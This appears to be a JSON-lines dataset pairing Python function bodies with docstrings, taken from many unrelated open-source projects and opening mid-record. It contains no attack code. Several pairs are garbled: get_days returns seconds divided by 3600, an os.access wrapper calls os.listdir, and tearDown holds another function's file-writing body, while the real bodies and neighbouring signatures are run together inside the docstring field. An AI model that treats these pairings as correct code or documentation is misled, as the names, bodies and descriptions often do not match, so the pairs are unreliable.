transfer size with SIZE_AVAILABLE,enlarge to maximun available size."} {"code": "def makeTreeItem(self, depth):\n if hasattr(self, 'itemClass'):\n return self.itemClass(self, depth)\n else:\n return ParameterItem(self, depth=depth)\n\n", "nl": "Return a TreeWidgetItem suitable for displaying/controlling the content ofthis parameter. This is called automatically when a ParameterTree attemptsto display this Parameter.Most subclasses will want to override this function."} {"code": "def print_output(self, old_text, new_text, filename, equal):\n pass\n", "nl": "Called with the old version, new version, and filename of arefactored file."} {"code": "def tearDown(self) -> None:\n Path(file).parent.mkdir(parents=True, exist_ok=True)\n with open(file, \"w\") as out_f:\n for line in data:\n out_f.write(ujson.dumps(line) + \"\\n\")\n", "nl": "Tear down.self.test_dir.cleanup()def write_data(self, file, data):Write data."} {"code": "def access(self, *args, **kwargs):\n\n return os.listdir(*args, **kwargs)\n", "nl": " Wrapper around os.access return os.access(*args, **kwargs)def listdir(self, *args, **kwargs): Wrapper around os.listdir "} {"code": "def get_days(self, seconds):\n return int(seconds / 3600)\n", "nl": "Convert seconds to days.return int(seconds / 86400)def get_hours(self, seconds):Convert seconds to hours."} {"code": "def tenants(self, begin=None, end=None):\n policy.authorize(pecan.request.context, 'report:list_tenants', {})\n\n if not begin:\n begin = ck_utils.get_month_start()\n if not end:\n end = ck_utils.get_next_month()\n\n storage = pecan.request.storage_backend\n tenants = storage.get_tenants(begin, end)\n return tenants\n\n @wsme_pecan.wsexpose(decimal.Decimal,\n datetime.datetime,\n datetime.datetime,\n wtypes.text,\n wtypes.text,\n bool)", "nl": "Return the list of rated tenants."} {"code": "def coverage():\n print(\"\\ncoverage\")\n return subprocess.run([\n PYTEST,\n \"--cov-config\",\n \".coveragerc\",\n \"--cov-report\",\n \"term-missing\",\n \"--cov=pypercard\",\n \"tests/\"\n ]).returncode\n\n\n@export", "nl": "View a report on test coverageCall py.test with coverage turned on"} {"code": "def test_validation_correct_args(self):\n args = [-1, 1, 2, 3]\n args[incorrect_index] = -999\n\n reset_compiler(self.target)\n\n with pytest.raises(ValueError, match=\"has invalid value -999\"):\n self.compile_test_program(self.device, args=args)", "nl": "Test that no error is raised when the tdm circuit explicit parameters within the allowed rangesreset_compiler(self.target)self.compile_test_program(self.device, args=(-1, 1, 2, 3))@pytest.mark.parametrize(\"incorrect_index\", list(range(4)))def test_validation_incorrect_args(self, incorrect_index):Test the correct error is raised when the tdm circuit explicit parameters are not within the allowed ranges"} {"code": "def limit_period(val, offset=0.5, period=np.pi):\n return val - tf.floor(val / period + offset) * period\n\n", "nl": "Limit the value into a period for periodic function.Args:val (tf.Tensor): The value to be converted.offset (float, optional): Offset to set the value range. \\Defaults to 0.5.period ([type], optional): Period of the value. Defaults to np.pi.Returns:tf.Tensor: Value in the range of \\[-offset * period, (1-offset) * period]"} {"code": "def obip(self, irc, msg, args, optlist, width):\n od = dict(optlist)", "nl": "[--market ] [--currency XXX] Calculate the \"order book implied price\", by finding the weightedaverage price of coins BTC up and down from the spread.If market is supplied, uses that exchange. Default is %market%.If --currency XXX is provided, converts to that fiat currency. Default is USD."} {"code": "def get(self, key, column_path, consistency_level):\n pass\n", "nl": "Get the Column or SuperColumn at the given column_path. If no value is present, NotFoundException is thrown. (This isthe only method that can throw an exception under non-failure conditions.)Parameters:- key- column_path- consistency_level"} {"code": "def create_folders(root=\".\", folders=[]):\n for folder in folders:\n create_folder(root, folder)\n", "nl": "Create directories.@param root: root path.@param folders: folders list to be created.@raise CuckooOperationalError: if fails to create folder."} {"code": "def excise(dict_, keypath):\n data = dict_\n keypath = list(keypath)\n leaf_key = keypath.pop()\n while keypath:\n key = keypath.pop(0)\n if key not in data:\n return\n data = data[key]\n if leaf_key in data:\n del data[leaf_key]\n\n", "nl": "Remove key pointed at by ``keypath`` from nested dict ``dict_``, if exists... versionadded:: 1.0"} {"code": "def _find(self, name, domain=None, path=None):\n for cookie in iter(self):\n if cookie.name == name:\n if domain is None or cookie.domain == domain:\n if path is None or cookie.path == path:\n return cookie.value\n\n raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))\n", "nl": "Requests uses this method internally to get cookie values.If there are conflicting cookies, _find arbitrarily chooses one.See _find_no_duplicates if you want an exception thrown if there areconflicting cookies.:param name: a string containing name of cookie:param domain: (optional) string containing domain of cookie:param path: (optional) string containing path of cookie:return: cookie.value"} {"code": "def random_digit_or_empty(self) -> Union[int, str]:\n\n if self.generator.random.randint(0, 1):\n return self.generator.random.randint(0, 9)\n else:\n return \"\"\n", "nl": "Generate a random digit (0 to 9) or an empty string.This method will return an empty string 50% of the time,and each digit has a 1/20 chance of being generated."} {"code": "def create_columns(self):\n table_url = self._dust_nodes[2]._value\n return table_url\n\n @property", "nl": "Build the columns associated with this section.BaseResultSection.create_columns(self)self._columns.extend(self._stats_sandf.columns)self._columns.extend(self._stats_sfd.columns)@propertydef table_url(self):Return the url where the extinction detail table can be found."} {"code": "def initialize(self, server):\n self.server = server\n self.logged = False\n", "nl": "Initialize request`server`SockJSRouter instance."} {"code": "def _install(package, src_dir, dst_dir, params, prefix_len=None, rec=None):\n package_name = package.__name__\n _LOGGER.info(\n 'Installing package: %s %s %s', package_name, src_dir, dst_dir\n )\n\n contents = pkg_resources.resource_listdir(package_name, src_dir)\n\n if prefix_len is None:\n prefix_len = len(src_dir) + 1\n\n for item in contents:\n resource_path = os.path.join(src_dir, item)\n dst_path = os.path.join(dst_dir, resource_path[prefix_len:])\n if pkg_resources.resource_isdir(package_name,\n os.path.join(src_dir, item)):\n fs.mkdir_safe(dst_path)\n\n owner_rsrc = os.path.join(resource_path, '.owner')\n if pkg_resources.resource_exists(package_name, owner_rsrc):\n owner = bootstrap.interpolate(\n pkg_resources.resource_string(\n package_name, owner_rsrc\n ).decode(),\n params\n ).strip()\n\n try:\n _LOGGER.info('Setting owner: %r - %r', dst_path, owner)\n (uid, gid) = utils.get_uid_gid(owner)\n os.chown(dst_path, uid, gid)\n except (IOError, OSError) as err:\n if err.errno != errno.ENOENT:\n raise\n\n if rec:\n rec.write('%s\\n' % os.path.join(dst_path, ''))\n\n install_fn = _install\n\n if _is_scan_dir(package, os.path.join(src_dir, item), dst_path):\n _LOGGER.info('Scan dir found: %s => %s', resource_path,\n dst_path)\n install_fn = _install_scan_dir\n\n install_fn(\n package,\n os.path.join(src_dir, item),\n dst_dir,\n params,\n prefix_len=prefix_len,\n rec=rec\n )\n else:\n if resource_path.endswith('.swp'):\n continue\n if resource_path.endswith('.owner'):\n continue\n\n resource_str = pkg_resources.resource_string(\n package_name,\n resource_path\n )\n\n if rec:\n rec.write('%s\\n' % dst_path)\n _update(dst_path,\n bootstrap.render(resource_str.decode('utf8'), params))\n\n", "nl": "Interpolate source directory into target directory with params."} {"code": "def test_array_element_rewriting(xp, xps, data, start, size):\n assert_all_examples(\n xps.arrays(xp.bool, (), fill=st.nothing()),\n lambda x: x.dtype == xp.bool and x.shape == (),\n )\n\n\n@pytest.mark.parametrize(\"dtype\", [\"float32\", \"float64\"])\n@pytest.mark.parametrize(\"low\", [-2.0, -1.0, 0.0, 1.0])\n@given(st.data())", "nl": "Unique strategy generates arrays with expected elements.x = data.draw(xps.arrays(dtype=xp.int64,shape=size,elements=st.integers(start, start + size - 1),unique=True,))x_set_expect = xp.linspace(start, start + size - 1, size, dtype=xp.int64)x_set = xp.sort(xp.unique_values(x))assert xp.all(x_set == x_set_expect)def test_generate_0d_arrays_with_no_fill(xp, xps):Generate arrays with zero-dimensions and no fill."} {"code": "def test_zero_lookback_period(greedy, better_history):\n lahc = LateAcceptanceHillClimbing(0, greedy, better_history)\n\n assert_(lahc(rnd.RandomState(), Zero(), Two(), One()))\n assert_(not lahc(rnd.RandomState(), Zero(), One(), One()))\n assert_(not lahc(rnd.RandomState(), Zero(), Zero(), Zero()))\n assert_(lahc(rnd.RandomState(), Zero(), Two(), One()))\n\n\n@mark.parametrize(\"lookback_period\", [0, 3, 10, 50])", "nl": "Test if LAHC behaves like regular hill climbing when `lookback_period` isset to zero."} {"code": "def forward(self, x):\n\t\tout = self.resblock1(x)\n\t\tout = self.resblock2(out)\n\t\tif self.T_reduce_flag:\n\t\t\treturn self.reduceT_conv(out + x)\n\t\telse:\n\t\t\treturn out + x", "nl": "x shape : [B,C,T,H,W]"} {"code": "def lemma(self):\n self._lemma = value if self._is_null(value) == False or self._text == '_' else None\n\n @property", "nl": " Access the lemma of this word. return self._lemma@lemma.setterdef lemma(self, value): Set the word's lemma value. "} {"code": "def setTutorialAck(self, tutorialAck):\n self.tutorialAck = tutorialAck\n\n", "nl": "This flag tells whether the player has acknowledged the opportunityfor a tutorial."} {"code": "def balance(self):\n self._require_authentication()\n\n url = coinbase_url('account', 'balance')\n response = self.session.get(url)\n return CoinbaseAmount.from_coinbase_dict(response.json())\n\n @property", "nl": "Retrieve coinbase's account balance:return: CoinbaseAmount with currency attribute"} {"code": "def rut_check_digit(number: int) -> str:\n\n sum = 0\n for factor in cycle(range(2, 8)):\n if number == 0:\n break\n sum += factor * (number % 10)\n number //= 10\n mod = -sum % 11\n if mod == 11:\n return \"0\"\n elif mod == 10:\n return \"K\"\n else:\n return str(mod)\n\n\nclass Provider(BaseProvider):\n \"\"\"\n\n minimum_rut_person = 10\n maximum_rut_person = 31999999\n minimum_rut_company = 60000000\n maximum_rut_company = 99999999\n rut_format = \"{:,d}-{:s}\"\n", "nl": "Calculate the last character of a RUT number:return: RUT check digit"} {"code": "def __init__(self, machine):\n await super().connect()\n\n self.aux_port = AuxPort(self)\n self.aux_port.reset()\n\n if self.machine_type == self.pinproc.MachineTypePDB:\n self.debug_log(\"Configuring P-ROC for PDBs (P-ROC driver boards)\")\n self.pdbconfig = PDBConfig(self, self.machine.config, self.pinproc.DriverCount)\n\n else:\n self.debug_log(\"Configuring P-ROC for OEM driver boards\")\n", "nl": "Initialise P-ROC.super().__init__(machine)# validate config for p_rocself.config = self.machine.config_validator.validate_config(\"p_roc\", self.machine.config.get('p_roc', {}))self._configure_device_logging_and_debug('P-Roc', self.config)if self.config['driverboards']:self.machine_type = self.pinproc.normalize_machine_type(self.config['driverboards'])else:self.machine_type = self.pinproc.normalize_machine_type(self.machine.config['hardware']['driverboards'])self.dmd = Noneself.alpha_display = Noneself.aux_port = Noneself._use_extended_matrix = Falseself._use_first_eight_direct_inputs = Falseasync def connect(self):Connect to the P-Roc."} {"code": "def splitZip(path):\n components = os.path.normpath(path).split(os.sep)\n for index, component in enumerate(components):\n if component.endswith('.zip'):\n zipPath = os.sep.join(components[0:index+1])\n archivePath = ''.join([x+'/' for x in components[index+1:]])\n return (zipPath, archivePath)\n else:\n return (path, None)\n\n", "nl": "Splits a path containing a zip file into (zipfile, subpath).If there is no zip file, returns (path, None)"} {"code": "def addItem(self, item, ignoreBounds=False):\n if item.zValue() < self.zValue():\n item.setZValue(self.zValue()+1)\n\n scene = self.scene()\n if scene is not None and scene is not item.scene():\n scene.addItem(item)\n item.setParentItem(self.childGroup)\n\n if not ignoreBounds:\n self.addedItems.append(item)\n self.updateAutoRange()\n", "nl": "Add a QGraphicsItem to this view. The view will include this item when determining how to set its rangeautomatically unless *ignoreBounds* is True."} {"code": "def set_color(self, channel, mode, colors, speed='normal', direction='forward', **kwargs):\n\n if not self._color_channels:\n raise NotSupportedByDevice()\n\n if 'backwards' in mode:\n _LOGGER.warning('deprecated mode, move to direction=backward option')\n mode = mode.replace('backwards-', '')\n direction = 'backward'\n\n cid = self._color_channels[channel]\n _, _, _, mincolors, maxcolors = self._COLOR_MODES[mode]\n colors = [[g, r, b] for [r, g, b] in colors]\n if len(colors) < mincolors:\n raise ValueError(f'not enough colors for mode={mode}, at least {mincolors} required')\n elif maxcolors == 0:\n if colors:\n _LOGGER.warning('too many colors for mode=%s, none needed', mode)\n colors = [[0, 0, 0]]\n elif len(colors) > maxcolors:\n _LOGGER.warning('too many colors for mode=%s, dropping to %d',\n mode, maxcolors)\n colors = colors[:maxcolors]\n\n sval = _ANIMATION_SPEEDS[speed]\n self._write_colors(cid, mode, colors, sval, direction)\n", "nl": "Set the color mode for a specific channel.Only supported by Smart Device V1/V2 and HUE 2 controllers."} {"code": "def add(cls, alias, data_handler, cache_handler, make_default=False):\n logger.info('adding source with alias \"{}\"'.format(alias))\n if alias in cls._sources:\n raise ExistingSourceError(alias)\n\n cache_fp = cache_handler.get_fingerprint()\n data_version = data_handler.get_version()\n current_fp = cls.__format_fingerprint(data_version)\n\n if data_version is None or cache_fp != current_fp:\n if data_version is None:\n logger.info('data version is None, updating cache')\n else:\n msg = (\n 'fingerprint mismatch: cache \"{}\", data \"{}\", '\n 'updating cache'\n ).format(cache_fp, current_fp)\n logger.info(msg)\n\n eve_objects = EveObjBuilder.run(data_handler)\n cache_handler.update_cache(eve_objects, current_fp)\n\n source = Source(alias=alias, cache_handler=cache_handler)\n cls._sources[alias] = source", "nl": "Add source to source manager.Adding includes initializing all facilities hidden behind name 'source'.After source has been added, it is accessible with alias.Args:alias: Alias under which source will be accessible.data_handler: Data handler instance.cache_handler: Cache handler instance.make_default (optional): Do we need to mark passed source as defaultor not. Default source will be used for instantiating new fits,if no other source is specified."} {"code": "def test_movement_nodelay(self):\n self.room2.terrain = 'MODERATE'\n self.char1.execute_cmd('out')\n self.assertIn('You start moving out.',\n (args[0] for name, args, kwargs\n in self.char1.msg.mock_calls))\n self.assertNotEqual(self.char1.location, self.room2)\n self.assertEqual(self.char1.traits.MV.current, 5)\n", "nl": "test non-delayed movementself.assertEqual(self.char1.traits.MV.current, 5)self.char1.execute_cmd('out')self.assertEqual(self.char1.traits.MV.current, 4)self.assertEqual(self.char1.location, self.room2)def test_movement_delay(self):test delayed movement"} {"code": "def name(self):\n return self.selector.label or self.selector.name\n\n @property", "nl": " str: The name of selector. return self.selector.name@propertydef label(self): str: A short description of the selector. "} {"code": "def post(self, request):\n A view for testing JsonRequestResponseMixin's require_json\n and render_bad_request_response methods\n \"\"\"", "nl": "Send back some JSONreturn self.render_json_response(self.request_json)class JsonBadRequestView(views.JsonRequestResponseMixin, View):"} {"code": "def client(self, reactor, serverAddress):\n raise NotImplementedError()\n\n\n\nclass _SingleProtocolFactory(ClientFactory):\n \"\"\"\n", "nl": "Return an object providing C{IStreamClientEndpoint} for use in creatinga client to use to establish the connection type to be tested."} {"code": "def get_output_dir(imdb, net=None):\n outdir = osp.abspath(osp.join(__C.ROOT_DIR, 'output', __C.EXP_DIR, imdb.name))\n if net is not None:\n outdir = osp.join(outdir, net.name)\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n return outdir\n", "nl": "Return the directory where experimental artifacts are placed.If the directory does not exist, it is created.A canonical path is built using the name from an imdb and a network(if not None)."} {"code": "def forward(self, input):\n template = input['template']\n search = input['search']\n if self.training:\n label_cls = input['label_cls']\n label_loc = input['label_loc']\n lable_loc_weight = input['label_loc_weight']\n\n rpn_pred_cls, rpn_pred_loc, template_feature, search_feature = self.run(template, search, softmax=self.training)\n\n outputs = dict(predict=[], losses=[], accuracy=[])\n\n outputs['predict'] = [rpn_pred_loc, rpn_pred_cls, template_feature, search_feature]\n if self.training:\n rpn_loss_cls, rpn_loss_loc, rpn_acc = self._add_rpn_loss(label_cls, label_loc, lable_loc_weight,\n rpn_pred_cls, rpn_pred_loc)\n outputs['losses'] = [rpn_loss_cls, rpn_loss_loc]\n return outputs\n", "nl": ":param input: dict of input with keys of:'template': [b, 3, h1, w1], input template image.'search': [b, 3, h2, w2], input search image.'label_cls':[b, max_num_gts, 5] or None(self.training==False),each gt contains x1,y1,x2,y2,class.:return: dict of loss, predict, accuracy"} {"code": "def learn_on_batch(self, samples):\n if log_once(\"learn_on_batch\"):\n logger.info(\n \"Training on concatenated sample batches:\\n\\n{}\\n\".format(\n summarize(samples)))\n if isinstance(samples, MultiAgentBatch):\n info_out = {}\n to_fetch = {}\n if self.tf_sess is not None:\n builder = TFRunBuilder(self.tf_sess, \"learn_on_batch\")\n else:\n builder = None\n for pid, batch in samples.policy_batches.items():\n if pid not in self.policies_to_train:\n continue\n policy = self.policy_map[pid]\n if builder and hasattr(policy, \"_build_learn_on_batch\"):\n to_fetch[pid] = policy._build_learn_on_batch(\n builder, batch)\n else:\n info_out[pid] = policy.learn_on_batch(batch)\n info_out.update({k: builder.get(v) for k, v in to_fetch.items()})\n else:\n info_out = {\n DEFAULT_POLICY_ID: self.policy_map[DEFAULT_POLICY_ID]\n .learn_on_batch(samples)\n }\n if log_once(\"learn_out\"):\n logger.debug(\"Training out:\\n\\n{}\\n\".format(summarize(info_out)))\n return info_out\n", "nl": "Update policies based on the given batch.This is the equivalent to apply_gradients(compute_gradients(samples)),but can be optimized to avoid pulling gradients into CPU memory.Returns:info: dictionary of extra metadata from compute_gradients().Examples:>>> batch = worker.sample()>>> worker.learn_on_batch(samples)"} {"code": "def Animation_releaseAnimations(self, animations):\n\t\tassert isinstance(animations, (list, tuple)\n\t\t ), \"Argument 'animations' must be of type '['list', 'tuple']'. Received type: '%s'\" % type(\n\t\t animations)\n\t\tsubdom_funcs = self.synchronous_command('Animation.releaseAnimations',\n\t\t animations=animations)\n\t\treturn subdom_funcs\n", "nl": "Function path: Animation.releaseAnimationsDomain: AnimationMethod name: releaseAnimationsParameters:Required arguments:'animations' (type: array) -> List of animation ids to seek.No return value.Description: Releases a set of animations to no longer be manipulated."} {"code": "def save_vocabulary(self, vocab_path):\n", "nl": "Save the tokenizer vocabulary to a directory or file.index = 0if os.path.isdir(vocab_path):vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES[\"vocab_file\"])else:vocab_file = vocab_pathwith open(vocab_file, \"w\", encoding=\"utf-8\") as writer:for token, token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]):if index != token_index:logger.warning(\"Saving vocabulary to {}: vocabulary indices are not consecutive.\"\" Please check that the vocabulary is not corrupted!\".format(vocab_file))index = token_indexwriter.write(token + \"\\n\")index += 1return (vocab_file,)class BasicTokenizer(object):Runs basic tokenization (punctuation splitting, lower casing, etc.)."} {"code": "def _check_names(spec, plans, err_collection, err_name):\n used_names = set()\n names = set(item.get('name') for item in spec)\n for plan_item in plans:\n name = plan_item.get('name')\n if name not in names:", "nl": "Helper method to compare spec entities names with plan ones:param spec: list -> spec entities:param plans: list -> plan entities:param err_collection: string -> just name to name collection on error:param err_name: string -> just name to name collection item on error"} {"code": "def get_deeplab_resnest50_ade(pretrained=False, root='~/.encoding/models', **kwargs):\n return get_deeplab('ade20k', 'resnest50', pretrained, aux=True, root=root, **kwargs)\n", "nl": "rDeepLabV3 model from the paper `\"Context Encoding for Semantic Segmentation\"`_Parameters----------pretrained : bool, default FalseWhether to load the pretrained weights for model.root : str, default '~/.encoding/models'Location for keeping the model parameters.Examples-------->>> model = get_deeplab_resnet50_ade(pretrained=True)>>> print(model)"} {"code": "def forward(ctx, input, num_sync_devices, num_groups):\n ctx.num_sync_devices = num_sync_devices\n ctx.num_groups = num_groups\n\n input_list = [\n torch.zeros_like(input) for k in range(du.get_local_size())\n ]\n dist.all_gather(\n input_list, input, async_op=False, group=du._LOCAL_PROCESS_GROUP\n )\n\n inputs = torch.stack(input_list, dim=0)\n if num_groups > 1:\n rank = du.get_local_rank()\n group_idx = rank // num_sync_devices\n inputs = inputs[\n group_idx\n * num_sync_devices : (group_idx + 1)\n * num_sync_devices\n ]\n inputs = torch.sum(inputs, dim=0)\n return inputs\n\n @staticmethod", "nl": "Perform forwarding, gathering the stats across different process/ GPUgroup."} {"code": "def test_full_dataset_gradient(self):\n data = self._fake_data(num_batches=1, batch_size=10)\n clnt = self._get_mime_client(data)\n self._test_reload_server_state(clnt)\n", "nl": "Test whether average gradient over the training dataset works correctlydata = self._fake_data(num_batches=3, batch_size=5)clnt = self._get_client(data)model = utils.SampleNet(utils.create_model_with_value(3))grads, num_examples = clnt.full_dataset_gradient(model)expected_grads = utils.TwoFC()expected_grads.fc1.weight.grad = torch.tensor([1.19955, 1.59725]).repeat(5, 1)expected_grads.fc2.weight.grad = torch.tensor([5.79683]).repeat(1, 5)expected_grads.fc1.bias.grad = torch.tensor([3.0]).repeat(5)expected_grads.fc2.bias.grad = torch.tensor([1.0])error_msg = utils.verify_gradients_equal(grads, expected_grads)assertEmpty(error_msg)data = self._fake_data(num_batches=0, batch_size=10)assertEqual(data.num_train_examples(), 0)clnt = self._get_client(data)try:grads, num_examples = clnt.full_dataset_gradient(model)except AssertionError:passelse:assert \"full_dataset_gradient must throw an assertion error if called with empty data\"class TestDPClient(ClientTestBase):def test_privacy_engine_properly_initialized(self) -> None:data = self._fake_data(num_batches=11, batch_size=3)# pyre-fixme[6]: Expected `int` for 2nd param but got `float`.# pyre-fixme[6]: Expected `int` for 3rd param but got `float`.clnt = self._get_dp_client(data, noise_multiplier=0.1, clipping_value=2.0)model = utils.SampleNet(utils.TwoFC())model, optim, optim_sch = clnt.prepare_for_training(model)assertIsInstance(optim, DPOptimizer)assertEqual(optim.noise_multiplier, 0.1)assertEqual(optim.max_grad_norm, 2.0)assertEqual(optim.expected_batch_size, 3)def test_privacy_turned_off(self) -> None:data = self._fake_data(num_batches=11, batch_size=3)# clipping value of inf means privacy is off no matter what the noise multiplierclnt = self._get_dp_client(data,# pyre-fixme[6]: Expected `int` for 2nd param but got `float`.noise_multiplier=0.0,# pyre-fixme[6]: Expected `int` for 3rd param but got `float`.clipping_value=float(\"inf\"),)assertFalse(clnt.privacy_on)clnt = self._get_dp_client(data,# pyre-fixme[6]: Expected `int` for 2nd param but got `float`.noise_multiplier=1.0,# pyre-fixme[6]: Expected `int` for 3rd param but got `float`.clipping_value=float(\"inf\"),)assertFalse(clnt.privacy_on)# negative noise multiplier should turn of privacy engine# pyre-fixme[6]: Expected `int` for 2nd param but got `float`.# pyre-fixme[6]: Expected `int` for 3rd param but got `float`.clnt = self._get_dp_client(data, noise_multiplier=-1.0, clipping_value=0.1)assertFalse(clnt.privacy_on)def test_prepare_for_training(self) -> None:clnt = self._get_dp_client()model = utils.SampleNet(utils.TwoFC())model2, optim, optim_sch = clnt.prepare_for_training(model)mismatched = utils.verify_models_equivalent_after_training(model2, model)assertEqual(mismatched, \"\")# expect correct type of optimizerassertIsInstance(optim, DPOptimizer)assertIsInstance(optim.original_optimizer, LocalOptimizerSGD)assertIsInstance(optim_sch, ConstantLRScheduler)def test_storage(self) -> None:client = self._get_dp_client(store_models_and_optimizers=True)model0 = utils.SampleNet(utils.TwoFC())delta, weight1 = client.generate_local_update(Message(model0))assertEqual(client.times_selected, 1)# test existence of privacy_engine# model1 should be the first model storedoptim = client.optimizers[0]assertIsInstance(optim, DPOptimizer)def test_no_noise_no_clip(self) -> None:data = self._fake_data(3, 4)model = utils.SampleNet(utils.TwoFC())private_model = FLModelParamUtils.clone(model)clnt = self._get_client(data)delta, weight = clnt.generate_local_update(Message(model))# set noise to 0 and clipping to a large numberprivate_clnt = self._get_dp_client(data, noise_multiplier=0, clipping_value=1000)private_delta, private_weight = private_clnt.generate_local_update(Message(private_model))mismatched = utils.verify_models_equivalent_after_training(model, private_model)mismatched_delta = utils.verify_models_equivalent_after_training(delta, private_delta)assertAlmostEqual(weight, private_weight)assertEqual(mismatched, \"\", mismatched)assertEqual(mismatched_delta, \"\", mismatched_delta)def test_only_clip(self) -> None:data = self._fake_data(4, 4)model = utils.SampleNet(utils.TwoFC())private_model = FLModelParamUtils.clone(model)clnt = self._get_client(data)delta, weight = clnt.generate_local_update(Message(model))private_clnt = self._get_dp_client(data,noise_multiplier=0,# pyre-fixme[6]: Expected `int` for 3rd param but got `float`.clipping_value=0.01,)private_delta, private_weight = private_clnt.generate_local_update(Message(private_model))mismatched = utils.verify_models_equivalent_after_training(delta, private_delta)assertAlmostEqual(weight, private_weight)assertNotEqual(mismatched, \"\")def test_noise_and_clip(self) -> None:data = self._fake_data(4, 4)model = utils.SampleNet(utils.TwoFC())private_model = FLModelParamUtils.clone(model)clnt = self._get_client(data)delta, weight = clnt.generate_local_update(Message(model))private_clnt = self._get_dp_client(data,noise_multiplier=1,# pyre-fixme[6]: Expected `int` for 3rd param but got `float`.clipping_value=0.01,)private_delta, private_weight = private_clnt.generate_local_update(Message(private_model))mismatched_delta = utils.verify_models_equivalent_after_training(delta, private_delta)assertAlmostEqual(weight, private_weight)assertNotEqual(mismatched_delta, \"\")def test_epsilon(self) -> None:noise_multiplier = 1.5clipping_value = 0.01num_batches = 5batch_size = 6data = self._fake_data(num_batches, batch_size)model = utils.SampleNet(utils.TwoFC())# pyre-fixme[6]: Expected `int` for 2nd param but got `float`.# pyre-fixme[6]: Expected `int` for 3rd param but got `float`.clnt = self._get_dp_client(data, noise_multiplier, clipping_value, True)model, weight = clnt.generate_local_update(Message(model))alphas = clnt.accountant.DEFAULT_ALPHASdelta = 1e-5eps_from_script = calc_eps(1.0 / num_batches, noise_multiplier, num_batches, alphas, delta)eps_from_client, _ = clnt.accountant.get_privacy_spent(delta=delta, alphas=alphas)assertAlmostEqual(eps_from_script, eps_from_client)def test_dp_client_eval(self) -> None:dp_client = self._get_dp_client()self._run_client_eval_test(dp_client)class TestMimeClient(ClientTestBase):def test_reload_server_state(self):Test whether server optimizer state is loading correctly in MIMEClient"} {"code": "def test_help_help(uqcsbot: MockUQCSBot):\n uqcsbot.post_message(TEST_CHANNEL_ID, '!help help')\n messages = uqcsbot.test_messages.get(TEST_CHANNEL_ID, [])\n assert len(messages) == 2\n assert messages[-1]['text'] == (\">>> `!help [COMMAND]` - Display the helper docstring\"\n + \" for the given command. If unspecified, will return\"\n + \" the helper docstrings for all commands. \")", "nl": "Tests `!help help`"} {"code": "def infer_assign(self, context=None):\n stmt = self.statement()\n if isinstance(stmt, nodes.AugAssign):\n return stmt.infer(context)\n\n stmts = list(self.assigned_stmts(context=context))\n return bases._infer_stmts(stmts, context)\n\n\nnodes.AssignName._infer = infer_assign\nnodes.AssignAttr._infer = infer_assign\n\n\n@decorators.raise_if_nothing_inferred\n@decorators.path_wrapper", "nl": "infer a AssignName/AssignAttr: need to inspect the RHS part of theassign node"} {"code": "def on_scheduled(self, when, instanceid, server, why):\n\n @abc.abstractmethod", "nl": "Invoked when task is scheduled."} {"code": "def kyc_token(chain, team_multisig, initial_supply):\n args = [\n 1*10**18,\n ]\n pricing_strategy, hash = chain.provider.deploy_contract('FlatPricing', deploy_args=args)\n return pricing_strategy\n\n\n@pytest.fixture", "nl": "Create the token contract.args = [\"KYC token\", \"KYC\", initial_supply, 18, True] # Owner settx = {\"from\": team_multisig}contract, hash = chain.provider.deploy_contract('CrowdsaleToken', deploy_args=args, deploy_transaction=tx)return contract@pytest.fixturedef pricing(chain, preico_token_price) -> Contract:1 ETH = 1 token"} {"code": "def delete_objects(obj_cls, context, **kwargs):\n with obj_cls.db_context_writer(context):\n db_objs = get_objects(obj_cls, context, **kwargs)\n for db_obj in db_objs:\n context.session.delete(db_obj)\n return len(db_objs)", "nl": "Delete matching objects, if any. Return number of deleted objects.This function does not raise exceptions if nothing matches.:param obj_cls: Object class:param kwargs: multiple filters defined by key=value pairs:return: Number of entries deleted"} {"code": "def make_resource(self, data, **kwargs):\n\n command = fields.Str(required=True, metadata={\"update_policy\": UpdatePolicy.UNSUPPORTED})\n\n @post_load", "nl": "Generate resource.return SchedulerPluginPluginResources(**data)class SchedulerPluginExecuteCommandSchema(BaseSchema):Represent the schema for ExecuteCommand in a Scheduler Plugin."} {"code": "def percent_formats(self):\n return self._data['percent_formats']\n\n @property", "nl": "Locale patterns for percent number formatting.>>> Locale('en', 'US').percent_formats[None]"} {"code": "def resources(self):\n resources = {\n \"apiVersion\": self.api_version,\n \"swaggerVersion\": __SWAGGERVERSION__,\n \"basePath\": self.baseurl,\n \"models\": dict(),\n \"apis\": list()}\n for resource in self.r.keys():\n description = (self.api_descriptions[resource]\n if resource in self.api_descriptions else \"\")\n resources[\"apis\"].append({\n \"path\": \"/\" + resource + \".{format}\",\n \"description\": description})\n for k, v in self.models.items():\n resources[\"models\"][k] = v\n return resources\n", "nl": "Gets all currently known API resources and serialized them."} {"code": "def do_get_preferred_height(self):", "nl": "Calculates the container's initial minimum and natural height. Whilethis call is specific to width-for-height requests (that we requestednot to get) we cannot be certain that our wishes are granted and hencewe must implement this method as well. We just return the SVG's heightplus the border widths."} {"code": "def test_non_persistent_volume_group_is_created(host):\n | grep -c 'my_lv'\"\"\"", "nl": "command = sudo vgdisplay | grep -c 'my_vg'cmd = host.run(command)assert '1' in cmd.stdoutdef test_mylv_logical_volume_is_created(host):command = sudo lvs -o lv_name my_vg --separator='|' --noheadings \\"} {"code": "def get_clusters_data(self, load_all=None):\n return\n", "nl": "Return a list of Bunch instances, with attributes pos and spike_ids.To override."} {"code": "def patch_diff_tarfile(base_path, diff_tarfile, restrict_index=()):\n if base_path.exists():\n path_iter = selection.Select(base_path).set_iter()\n else:\n path_iter = empty_iter()\n\n diff_path_iter = difftar2path_iter(diff_tarfile)\n if restrict_index:\n diff_path_iter = filter_path_iter(diff_path_iter, restrict_index)\n collated = diffdir.collate2iters(path_iter, diff_path_iter)\n\n ITR = IterTreeReducer(PathPatcher, [base_path])\n for basis_path, diff_ropath in collated:\n if basis_path:\n log.Info(_(\"Patching %s\") % (util.fsdecode(basis_path.get_relative_path())),\n log.InfoCode.patch_file_patching,\n util.escape(basis_path.get_relative_path()))\n ITR(basis_path.index, basis_path, diff_ropath)\n else:\n log.Info(_(\"Patching %s\") % (util.fsdecode(diff_ropath.get_relative_path())),\n log.InfoCode.patch_file_patching,\n util.escape(diff_ropath.get_relative_path()))\n ITR(diff_ropath.index, basis_path, diff_ropath)\n ITR.Finish()\n base_path.setdata()\n\n", "nl": "Patch given Path object using delta tarfile (as in tarfile.TarFile)If restrict_index is set, ignore any deltas in diff_tarfile thatdon't start with restrict_index."} 